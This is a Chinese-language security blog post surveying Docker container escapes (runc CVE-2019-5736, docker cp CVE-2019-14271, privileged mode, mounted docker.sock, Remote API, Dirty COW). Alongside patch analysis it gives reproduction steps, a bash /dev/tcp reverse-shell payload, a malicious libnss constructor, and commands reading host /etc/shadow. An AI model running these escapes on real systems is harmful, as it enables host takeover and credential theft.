docker安全二:容器逃逸的常见方式
文章最后更新时间为:2021年05月24日 12:04:03
文章汇总:
目前的 Docker 逃逸的原因可以划分为三种:
- 由内核漏洞引起 ——Dirty COW(CVE-2016-5195)
- 由 Docker 软件设计引起——CVE-2019-5736、CVE-2019-14271
- 由配置不当引起——开启privileged(特权模式)+宿主机目录挂载(文件挂载)、sock通信方式、docker Remote API未授权
这里总结了现在常见的逃逸手段,如果有遗漏,欢迎补充交流。
1. 判断是否在docker中
- .dockerenv 文件
docker里面
$ docker run -it ubuntu:20.04 bash
root@c99fb4c4d4ad:/# ls /.dockerenv
/.dockerenv
外面
# yanq @ yanq-desk in ~ [20:41:36]
$ ls -alh /.dockerenv
ls: 无法访问'/.dockerenv': 没有那个文件或目录
- 查询系统进程的cgroup信息
最可靠的方法是检查/proc/1/cgroup,当位于容器中时,将看到的docker的名称,类似于/docker/
docker里面
root@c99fb4c4d4ad:/# cat /proc/1/cgroup
12:memory:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
11:net_cls,net_prio:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
10:cpuset:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
9:perf_event:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
8:hugetlb:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
7:freezer:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
6:rdma:/
5:devices:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
4:blkio:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
3:cpu,cpuacct:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
2:pids:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
1:name=systemd:/docker/c99fb4c4d4ad508548da34e8c1ca0c9c8412411b9578ec224d347ee8fa3fac7b
0::/system.slice/containerd.service
外面
# yanq @ yanq-desk in ~ [20:41:41] C:2
$ cat /proc/1/cgroup
12:memory:/init.scope
11:net_cls,net_prio:/
10:cpuset:/
9:perf_event:/
8:hugetlb:/
7:freezer:/
6:rdma:/
5:devices:/init.scope
4:blkio:/init.scope
3:cpu,cpuacct:/init.scope
2:pids:/init.scope
1:name=systemd:/init.scope
0::/init.scope
2. Docker 软件设计引起的逃逸
2.1 CVE-2019-5736 runC漏洞逃逸
在docker的组件中,runc是一个标准的OCI容器运行时的实现,它是一个命令行工具,通过调用Namespace、Cgroup等系统接口,负责真正意义上创建和启动容器。换句话说,docker客户端就是通过调用runc来创建销毁机器的。
# yanq @ yanq-desk in ~ [16:28:01]
$ docker info | grep "runc"
Runtimes: runc
Default Runtime: runc
runc version: dc9208a3303feef5b3839f4323d9beb36df0a9dd
WARNING: No swap limit support
影响版本
- Docker Version < 18.09.2
- runC Version <= 1.0-rc6
漏洞原理
漏洞总结下来就是一句话,攻击者可以重写宿主机上的runc二进制文件。
先来看/proc/self/exe
是什么?
$ file /proc/self/exe
/proc/self/exe: symbolic link to /usr/bin/file
proc/self/exe符号链接会指向调用者自身,同理proc/pid/exe会指向pid进程的调用者。但是/proc/pid/exe和一般符号链接不同,其不遵循符号链接的正常语义,当进程打开/proc/pid/exe时,没有正常的读取和跟踪符号链接内容的过程。相反,内核只是让用户直接访问打开的文件条目。
漏洞产生的原因就是宿主机通过runc对docker容器进行操作的时候没有做好访问限制,导致runc可以通过/proc/self/exe符号链接来访问到宿主机上的runc文件。攻击者可以让runc运行/proc/self/exe符号链接来欺骗它自己执行自己,从而对宿主机上的runc文件进行覆盖重写。
具体的利用步骤:
- 容器内生成一个恶意文件,将文件的调用者改为proc/self/exe
- 宿主机docker exec调用该恶意文件,会调用proc/self/exe,也就是runc,此时容器内便可以遍历proc进程号,获取runc的进程号
- 得到容器进称号PID后,可以获取/proc/pid/exe文件描述符fd
- 对fd进行写操作,覆盖原有runc的文件
问题1:攻击者为什么不继续写入恶意文件从而覆盖主机上的runc二进制文件?
因为内核将不允许在执行runC时将其覆盖。于是可以通过获取/proc/PID/exe的file handler 来获取runcinit的文件描述符。 然后再写入该文件。
问题2:runc创建容器时,会首先创建新进程runc-init,并且runc-init在另一个namespace里面,用来做隔离,那么为什么不覆盖runc的子进程runC init?
CVE-2016-9962漏洞修补程序在进入容器之前就将runC init进程设置为“不可转储”(Non-dumpable)。其漏洞原理是runC init进程拥有来自宿主机的打开文件描述符,容器中的攻击者可以利用它来遍历主机的文件系统,从而打开容器。
漏洞复现
首先安装带有漏洞版本的docker,我直接使用的是ubuntu16,版本为18.06.1-ce。
如果你没有安装docker或者docker版本没有漏洞,则需要重新安装docker的漏洞版本,步骤如下:
sudo apt-get remove docker docker-engine docker.io containerd runc
sudo apt-get update
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=arm64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt-cache madison docker-ce
# 下面选择一个docker-ce版本进行安装
sudo apt-get install docker-ce=<version>
下面利用https://github.com/Frichetten/CVE-2019-5736-PoC/来复现
# 1 编译好main.go,此步骤略
# 2 备份runc或者docker-runc!!!
cp /usr/bin/docker-runc /usr/bin/docker-runc.bak
# 3 启动一个docker容器
docker run -it --rm --name test ubuntu:18.04 /bin/bash
# 4 将第一步编译的文件拷贝进容器,并且执行
# 5. 从主机上docker exec进这个容器,执行/bin/sh
执行完之后,poc会将/etc/shadow文件复制到/tmp/shadow
备注:如果需要反弹shell,只需要修改main.go里面的payload为:
payload = "#!/bin/bash \n bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxxx 0>&1"
以下视频需要全屏播放!
漏洞修复
漏洞的修补在https://github.com/opencontainers/runc/commit/6635b4f0c6af3810594d2770f662f34ddc15b40d
增加了一个ensure_cloned_binary
函数
int ensure_cloned_binary(void)
{
int execfd;
char **argv = NULL, **envp = NULL;
/* Check that we're not self-cloned, and if we are then bail. */
int cloned = is_self_cloned();
if (cloned > 0 || cloned == -ENOTRECOVERABLE)
return cloned;
if (fetchve(&argv, &envp) < 0)
return -EINVAL;
execfd = clone_binary();
if (execfd < 0)
return -EIO;
fexecve(execfd, argv, envp);
return -ENOEXEC;
}
static int is_self_cloned(void)
{
int fd, ret, is_cloned = 0;
fd = open("/proc/self/exe", O_RDONLY|O_CLOEXEC);
if (fd < 0)
return -ENOTRECOVERABLE;
#ifdef HAVE_MEMFD_CREATE
ret = fcntl(fd, F_GET_SEALS);
is_cloned = (ret == RUNC_MEMFD_SEALS);
#else
struct stat statbuf = {0};
ret = fstat(fd, &statbuf);
if (ret >= 0)
is_cloned = (statbuf.st_nlink == 0);
#endif
close(fd);
return is_cloned;
}
判断/proc/self/exe
是否被clone,如果没有的话,则执行clone_binary
函数,返回一个新的file handler。
static int clone_binary(void)
{
int binfd, memfd;
ssize_t sent = 0;
#ifdef HAVE_MEMFD_CREATE
memfd = memfd_create(RUNC_MEMFD_COMMENT, MFD_CLOEXEC | MFD_ALLOW_SEALING);
#else
memfd = open("/tmp", O_TMPFILE | O_EXCL | O_RDWR | O_CLOEXEC, 0711);
#endif
if (memfd < 0)
return -ENOTRECOVERABLE;
binfd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC);
if (binfd < 0)
goto error;
sent = sendfile(memfd, binfd, NULL, RUNC_SENDFILE_MAX);
close(binfd);
if (sent < 0)
goto error;
#ifdef HAVE_MEMFD_CREATE
int err = fcntl(memfd, F_ADD_SEALS, RUNC_MEMFD_SEALS);
if (err < 0)
goto error;
#else
/* Need to re-open "memfd" as read-only to avoid execve(2) giving -EXTBUSY. */
int newfd;
char *fdpath = NULL;
if (asprintf(&fdpath, "/proc/self/fd/%d", memfd) < 0)
goto error;
newfd = open(fdpath, O_RDONLY | O_CLOEXEC);
free(fdpath);
if (newfd < 0)
goto error;
close(memfd);
memfd = newfd;
#endif
return memfd;
error:
close(memfd);
return -EIO;
}
2.2 CVE-2019-14271 cp命令漏洞
影响版本
docker < 19.03.1
漏洞原理
Docker cp命令使用了一个辅助进程docker-tar,docker-tar chroot到容器中,归档其中请求的文件及目录,然后将生成的tar文件传回Docker守护进程,该进程负责将文件提取到宿主机上的目标目录中。
执行chroot是为了避免符号链接(symlink)攻击,防止将容器内部的的符号链接解析到宿主机上,比如上面的CVE-2019-5736。但是这样带来一个问题:docker-tar只好从容器中加载自己需要的库,比如libnss_*.so库,这样容器中就可以控制这个链接库。
这里需要注意:除了chroot到容器文件系统中之外,docker-tar并没有被容器化。docker-tar运行在宿主机命名空间中,具备所有root功能,并且没有受cgroups以及seccomp限制。因此,攻击者可以将代码注入到docker-tar,就可以通过恶意容器获得宿主机的完整root访问权限。
当Docker用户从如下几种容器中拷贝文件时,就存在被攻击的风险:
- 运行恶意镜像的容器,其中带有恶意的libnss_*.so库;
- 攻击者在被入侵的容器中替换libnss_*.so库。
漏洞来源是个issue,有个用户尝试从容器中拷贝文件,但docker cp命令总是无法成功执行,问题就在于该镜像并没有包含libnss库。
漏洞复现
我们可以编译一个恶意so库对原生的镜像库进行替换,使宿主进程调用恶意so库过程中执行攻击者定义的危险代码。
根据漏洞作者的文章,需要重新编译libnss_files.so.2的源码,在其中加入链接时启动代码(run_at_link),并定义执行函数。
#include ...
#define ORIGINAL_LIBNSS "/original_libnss_files.so.2"
#define LIBNSS_PATH "/lib/x86_64-linux-gnu/libnss_files.so.2"
bool is_priviliged();
__attribute__ ((constructor)) void run_at_link(void)
{
char * argv_break[2];
if (!is_priviliged())
return;
rename(ORIGINAL_LIBNSS, LIBNSS_PATH);
fprintf(log_fp, "switched back to the original libnss_file.so");
if (!fork())
{
// Child runs breakout
argv_break[0] = strdup("/breakout");
argv_break[1] = NULL;
execve("/breakout", argv_break, NULL);
}
else
wait(NULL); // Wait for child
return;
}
bool is_priviliged()
{
FILE * proc_file = fopen("/proc/self/exe", "r");
if (proc_file != NULL)
{
fclose(proc_file);
return false; // can open so /proc exists, not privileged
}
return true; // we're running in the context of docker-tar
}
根据参考文章3,选取的是nss路径下的files-init.c源文件。这一步本地没复现好,找了半天源码结果编译有问题,先鸽了。
漏洞修复
漏洞补丁:https://github.com/moby/moby/pull/39612
19.03.1在archive.go包中添加了一个init函数,使用了user模块的Lookup/LookupHost函数负责解析用户名/主机名。
而user模块的这两个方法底层其实调用了linux的libnss_files.so.2中的接口,这样的话libnss_files.so.2就会被提前加载进内存了。
修复了docker-tar的init函数,避免存在问题的Go package调用任意函数。补丁强制docker-tar在chroot到容器前,先从宿主机系统中加载libnss库。
3. 配置不当引发的漏洞
3.1 Docker Remote API 未授权访问
在之前的文章中有提过
Docker Remote API是一个取代远程命令行界面(rcli)的REST API,如果配置不当可以未经授权进行访问,可能导致敏感信息泄露,黑客也可以恶意删除Docker上的数据,直接访问宿主机上的敏感信息,或对敏感文件进行修改,最终完全控制服务器。
exp: https://github.com/Tycx2ry/docker_api_vul
3.2 使用了--privileged特权模式
--privileged
可以启动docker的特权模式,这种模式允许容器获得宿主机具有几乎所有的能力,包括一些内核特性和设备访问。
比如启动一个特权模式的容器,然后mount宿主机磁盘到容器内,就可以操纵宿主机了。
复现步骤如下:
# 启动一个特权ubuntu container
# yanq @ yanq in ~ [15:32:19]
$ docker run -it --name ubuntu --rm --privileged ubuntu:18.04 bash
# 查看disk
root@8603ca4eddc8:/# fdisk -l
Disk /dev/sda: 465.8 GiB, 500107862016 bytes, 976773168 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: gpt
Disk identifier: 5E57AF81-C3EB-4DBB-8C8D-6F004835A843
Device Start End Sectors Size Type
/dev/sda1 2048 499711 497664 243M EFI System
/dev/sda2 499712 976771071 976271360 465.5G Linux filesystem
# 挂载宿主机的/dev/sda2到容器的/abc
root@8603ca4eddc8:/# mkdir /abc
root@8603ca4eddc8:/# mount /dev/sda2 /abc
# 之后便可以随意读写宿主机文件
root@8603ca4eddc8:/# cd /abc
root@8603ca4eddc8:/abc# ls
bin boot cdrom dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv swapfile sys tmp usr var
root@8603ca4eddc8:/abc# cat etc/shadow
root:!:18591:0:99999:7:::
daemon:*:18474:0:99999:7:::
bin:*:18474:0:99999:7:::
sys:*:18474:0:99999:7:::
sync:*:18474:0:99999:7:::
games:*:18474:0:99999:7:::
man:*:18474:0:99999:7:::
lp:*:18474:0:99999:7:::
.....略
3.3 挂载危险的Docker.sock
Docker采用C/S架构,通信方式有以下3种:
- unix:///var/run/docker.sock(默认
- tcp://host:port
- fd://socketfd
逃逸复现过程如下:
# 挂载docker.sock到容器中
# yanq @ yanq-desk in ~ [15:54:38]
$ docker run -it --name ubuntu --rm -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04 bash
root@4ed1c5c8c381:/# apt update && apt-get install -y docker.io
# 容器安装docker客户端
root@9aef7ce3d86a:/# apt update && apt install -y docker.io
# 容器启动新的容器,并且挂载宿主机目录
root@9aef7ce3d86a:/# docker -H unix:///host/var/run/docker.sock info
root@9aef7ce3d86a:/# docker -H unix:///host/var/run/docker.sock run -it -v /:/test ubuntu:18.0
# 之后便可以随意读写宿主机文件
root@153e94eaa082:/# cat /test/etc/shadow
daemon:*:18345:0:99999:7:::
bin:*:18345:0:99999:7:::
sys:*:18345:0:99999:7:::
sync:*:18345:0:99999:7:::
games:*:18345:0:99999:7:::
man:*:18345:0:99999:7:::
lp:*:18345:0:99999:7:::
mail:*:18345:0:9999
...略
4. 内核漏洞引发的逃逸
4.1 脏牛漏洞dirtycow
Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝存在竞争条件,允许恶意用户写只读内存映射的文件。
vDSO(virtual dvnamic shared object)是一个小型共享库,能将内核自动映射到所有用户程序的地址空间,可以利用dirty cow修改vDSO内存空间中的ckock_gettime()函数,所有进程调用ckock_gettime都会触发而不是仅仅是运行的进程。一旦竞争条件触发,shellcode执行后,它就会给你一个root权限的shell。
漏洞复现:
(复现需要在具有dirtycow漏洞的内核中,这里我本地没有环境复现)
# 1. 下载poc并且运行容器
git clone https://github.com/gebl/dirtycow-docker-vdso
cd dirtycow-docker-vdso
docker-compose run dirtycow /bin/bash
# 2. 在宿主机中监听1234
nc -lvvp 1234
# 3. 在容器中exploit
cd /dirtycow-docker-vdso
make &./0xdeadbeef
其中exp反弹shell的地址为127.0.0.1:1234,可以在0xdeadbeef.c中的38/39行修改。
最近在研究这东西,拜读一下~
大佬CVE-2019-14271漏洞的so文件编译成功了吗?选取的是nss路径下的files-init.c源文件,这个files-init.c文件在哪里可以获取到啊?